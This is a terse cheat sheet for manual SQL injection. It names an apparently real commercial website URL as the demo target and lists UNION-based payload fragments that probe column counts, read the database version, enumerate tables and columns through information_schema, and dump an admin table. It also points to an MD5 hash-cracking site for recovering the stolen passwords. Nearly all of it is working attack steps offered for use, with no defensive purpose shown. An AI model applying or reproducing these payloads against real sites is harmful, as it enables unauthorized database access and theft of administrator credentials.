Manual SQL injection

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# Demo :
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http://vikimobile.com/top-brands?bid=5
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# commands :
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order by 100 -- -
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union select 1,2,3+--+
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version()
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group_concat(table_name)
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+from+information_schema.tables+where+table_schema=database()+--+
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http://www.waraxe.us/sql-char-encoder.html
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group_concat(column_name)
+from+information_schema.columns+where+table_name=*****+--+
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group_concat(***,0x3a,***)
+from+admin+--+
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https://hashkiller.co.uk/md5-decrypter.aspx
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